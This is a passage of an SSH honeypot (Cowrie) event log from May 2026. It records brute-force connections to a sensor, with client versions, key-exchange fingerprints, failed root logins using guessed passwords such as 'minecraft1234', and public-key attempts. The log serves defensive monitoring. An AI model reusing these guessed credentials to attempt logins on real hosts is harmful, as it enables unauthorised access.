"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:37.354000Z","src_ip":"51.250.105.222","session":"47c63884b1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfndtq","message":"login attempt [root/vfndtq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:37.749753Z","src_ip":"51.250.105.222","session":"47c63884b1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:38.885090Z","src_ip":"51.250.105.222","session":"47c63884b1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":57404,"dst_ip":"10.17.0.5","dst_port":22,"session":"4481031101fc","protocol":"ssh","message":"New connection: 192.169.243.246:57404 (10.17.0.5:22) [session: 4481031101fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:46.145449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:46.151045Z","src_ip":"192.169.243.246","session":"4481031101fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:46.223828Z","src_ip":"192.169.243.246","session":"4481031101fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1234","message":"login attempt [root/minecraft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:46.543225Z","src_ip":"192.169.243.246","session":"4481031101fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:47.635239Z","src_ip":"192.169.243.246","session":"4481031101fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64910,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9590fc542d6","protocol":"ssh","message":"New connection: 38.93.206.2:64910 (159.203.135.109:22) [session: f9590fc542d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:55.209292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:55.219062Z","src_ip":"38.93.206.2","session":"f9590fc542d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:55.270365Z","src_ip":"38.93.206.2","session":"f9590fc542d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uhbujhbq","message":"login attempt [root/uhbujhbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:55.425684Z","src_ip":"38.93.206.2","session":"f9590fc542d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:40:56.478984Z","src_ip":"38.93.206.2","session":"f9590fc542d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c0a331d902","protocol":"ssh","message":"New connection: 43.156.136.152:45784 (10.17.0.5:22) [session: 30c0a331d902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:00.503603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:00.511530Z","src_ip":"43.156.136.152","session":"30c0a331d902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:00.751161Z","src_ip":"43.156.136.152","session":"30c0a331d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator1234567890","message":"login attempt [root/administrator1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:01.737683Z","src_ip":"43.156.136.152","session":"30c0a331d902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:02.982435Z","src_ip":"43.156.136.152","session":"30c0a331d902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.80.4","src_port":50326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52fd06caa98","protocol":"ssh","message":"New connection: 91.98.80.4:50326 (10.17.0.5:22) [session: b52fd06caa98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:03.681100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:03.692950Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:03.793004Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:25:d8:ce:09:38:3d:3a:94:2f:93:c8:fc:16:24:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4073oiU+kjAO6FI9DFWPuztZJ9yi3o3SpKB1rpLEjoG0LCNUc39x+WhAdWrkAqOAdS2FaHOFs2VDlzuQtCkZfUJ780/5A6p7Ni73nBUvliMqnOroI63AyZDeRAMOVsDR30S1Q9Bpe9+B138wXaAVQ/oNvgLa6p/tBgrAwxftEZGfc9Ua+HpsUp8ZvnpGnRi9u60Hiw9eYDL061KAOws4Kx2WOmvbRGOaoZuxZsgSYgKLuGudvTdn2eyOl4FxhXKgvHQ+lgQLZVKkZue8PGgh4/HyCNf4r1d0kczGKO5LU7OD0b3JCGz6q7IVGGjIl4Z7k8Bl9l7EHxK40KwyEphwp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:25:d8:ce:09:38:3d:3a:94:2f:93:c8:fc:16:24:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.239225Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:25:d8:ce:09:38:3d:3a:94:2f:93:c8:fc:16:24:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4073oiU+kjAO6FI9DFWPuztZJ9yi3o3SpKB1rpLEjoG0LCNUc39x+WhAdWrkAqOAdS2FaHOFs2VDlzuQtCkZfUJ780/5A6p7Ni73nBUvliMqnOroI63AyZDeRAMOVsDR30S1Q9Bpe9+B138wXaAVQ/oNvgLa6p/tBgrAwxftEZGfc9Ua+HpsUp8ZvnpGnRi9u60Hiw9eYDL061KAOws4Kx2WOmvbRGOaoZuxZsgSYgKLuGudvTdn2eyOl4FxhXKgvHQ+lgQLZVKkZue8PGgh4/HyCNf4r1d0kczGKO5LU7OD0b3JCGz6q7IVGGjIl4Z7k8Bl9l7EHxK40KwyEphwp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.247906Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:26:7a:64:f6:f9:72:ee:ab:4f:1b:10:55:da:8d:dc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIOFMDA9+APjsbpUpSf8hq9AaRpvt7lfAsTtxbwKdnM26VhB8BaPhSgM5KGD/ytxnxDygHp4uJaDFThqFH4s5n1T4Kb20W+7hUdKChzoskuDLyBpGEsZ+r2Gyr7tBVE7pRTyFl/aKdzPC3Scg9GF9XknLJaok7NNnzj2tOB7gUgTAAAAFQDviqLkN61yaTRS8W6JU82PBQ6H8QAAAIAcQhqxXcbKC/JUlTraQZ8xd5hlBb0Bf/U2Wdh8nfikcLwNOvc7Am/OxMJqw+DhWjJ8tgGYcSAMsnLb/md8R1yM5ks833gr3RvEwRf9RJgstlZ5U+tgw6tJfpDbieFmfIR2M278NJGZn8fhyfyT6ZLotVu7zFjmSFA9jZMnu8plfwAAAIBH1FSrw1WGoOYhk97UsL2poF9u9Lorsd8dhShbk83xP+4EacaPvr5cu//sfxkNzTRO1tDbVWqolBJyWbgSNisXm966MoHFnIyeGoF2llxNjEP4ys+g/2yExCjlZF2v2b9cG2M8xMVudY4k/in0nC//J02FL0lWUN6wiLYZ2bTayg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ba:26:7a:64:f6:f9:72:ee:ab:4f:1b:10:55:da:8d:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.349523Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:26:7a:64:f6:f9:72:ee:ab:4f:1b:10:55:da:8d:dc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIOFMDA9+APjsbpUpSf8hq9AaRpvt7lfAsTtxbwKdnM26VhB8BaPhSgM5KGD/ytxnxDygHp4uJaDFThqFH4s5n1T4Kb20W+7hUdKChzoskuDLyBpGEsZ+r2Gyr7tBVE7pRTyFl/aKdzPC3Scg9GF9XknLJaok7NNnzj2tOB7gUgTAAAAFQDviqLkN61yaTRS8W6JU82PBQ6H8QAAAIAcQhqxXcbKC/JUlTraQZ8xd5hlBb0Bf/U2Wdh8nfikcLwNOvc7Am/OxMJqw+DhWjJ8tgGYcSAMsnLb/md8R1yM5ks833gr3RvEwRf9RJgstlZ5U+tgw6tJfpDbieFmfIR2M278NJGZn8fhyfyT6ZLotVu7zFjmSFA9jZMnu8plfwAAAIBH1FSrw1WGoOYhk97UsL2poF9u9Lorsd8dhShbk83xP+4EacaPvr5cu//sfxkNzTRO1tDbVWqolBJyWbgSNisXm966MoHFnIyeGoF2llxNjEP4ys+g/2yExCjlZF2v2b9cG2M8xMVudY4k/in0nC//J02FL0lWUN6wiLYZ2bTayg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.359250Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:65:46:0a:e7:bc:bf:db:93:54:87:e2:1f:23:16:bd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAx7U9ASypCYjWufySOCXFFY6ynKbZdyIOzmZXm/Spkm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 54:65:46:0a:e7:bc:bf:db:93:54:87:e2:1f:23:16:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.459932Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:65:46:0a:e7:bc:bf:db:93:54:87:e2:1f:23:16:bd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAx7U9ASypCYjWufySOCXFFY6ynKbZdyIOzmZXm/Spkm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.463755Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:f1:3e:d9:b0:12:08:dd:20:d2:74:47:8f:66:fc:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8YixD6b+t0okyIrw115Skp95E8+0zu8I8oJ11yn3DyR18I77g3FA/sb+5MEsDA0hnbthVrZ6yTlVljs0VKOVzp4WIbuwC19tYukWQIULE6hFOamtyh0FjM/SzKAGovo2PXxnGQtkWlc+RcYC1JqaWpN/85JO2RDNlQ8KAhZWzMzqOYY15mLMy11otI1dqGor1eA2/C8RtZp1wl+92iZ5Ez8RpUQLCMy5Lk1JIlOdisjBJIlLIPn26V9bpXwYsn/lEoAJwfC213Bxdg3nT5oLzAP0fT7pwS0teqlSHJueXrXwBAWHs+sFlROrgHL5UHHHWcNw6Yp7a5Z10LZ5avotZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:f1:3e:d9:b0:12:08:dd:20:d2:74:47:8f:66:fc:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.558705Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:f1:3e:d9:b0:12:08:dd:20:d2:74:47:8f:66:fc:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8YixD6b+t0okyIrw115Skp95E8+0zu8I8oJ11yn3DyR18I77g3FA/sb+5MEsDA0hnbthVrZ6yTlVljs0VKOVzp4WIbuwC19tYukWQIULE6hFOamtyh0FjM/SzKAGovo2PXxnGQtkWlc+RcYC1JqaWpN/85JO2RDNlQ8KAhZWzMzqOYY15mLMy11otI1dqGor1eA2/C8RtZp1wl+92iZ5Ez8RpUQLCMy5Lk1JIlOdisjBJIlLIPn26V9bpXwYsn/lEoAJwfC213Bxdg3nT5oLzAP0fT7pwS0teqlSHJueXrXwBAWHs+sFlROrgHL5UHHHWcNw6Yp7a5Z10LZ5avotZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.565876Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:5d:68:30:0d:e8:9c:c6:7f:9d:c5:55:03:36:cc:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFATcNEBMx9HGP1MlfcraXOFqMQ811SjMCk9bDdTGsDtzzNudMwHRYRVJk6sXR3VVTHxqPDpy7pW3H9QNa9j/tAWc8cYQ9arTDeTufEc4fu7TtS5BWxFzmny0PJuLzJoAYLoo5D2BdMyXOZm/VAh4w/7ZDhg9CIBr4Bb8dULrgzR1rmTvmzPVMsR/ZoMezOnYI6wg36bPgILtZ5Qy1grOILecszmaVTfSMobimO268Q2lU3MbAOjmNRBgJrSHd30DxfQDAyglTq3FlJH3KEQKa8vIAQryJ9p85dqzIZhk3hBjSJbfswACpz/1aTyU3dZWa4JX/WZX3Y32pEwZfg1Gh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:5d:68:30:0d:e8:9c:c6:7f:9d:c5:55:03:36:cc:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.661348Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:5d:68:30:0d:e8:9c:c6:7f:9d:c5:55:03:36:cc:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFATcNEBMx9HGP1MlfcraXOFqMQ811SjMCk9bDdTGsDtzzNudMwHRYRVJk6sXR3VVTHxqPDpy7pW3H9QNa9j/tAWc8cYQ9arTDeTufEc4fu7TtS5BWxFzmny0PJuLzJoAYLoo5D2BdMyXOZm/VAh4w/7ZDhg9CIBr4Bb8dULrgzR1rmTvmzPVMsR/ZoMezOnYI6wg36bPgILtZ5Qy1grOILecszmaVTfSMobimO268Q2lU3MbAOjmNRBgJrSHd30DxfQDAyglTq3FlJH3KEQKa8vIAQryJ9p85dqzIZhk3hBjSJbfswACpz/1aTyU3dZWa4JX/WZX3Y32pEwZfg1Gh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.666260Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:04.764548Z","src_ip":"91.98.80.4","session":"b52fd06caa98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":43144,"dst_ip":"10.17.0.5","dst_port":22,"session":"048063bdcf62","protocol":"ssh","message":"New connection: 45.148.147.191:43144 (10.17.0.5:22) [session: 048063bdcf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:10.805644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:10.810451Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh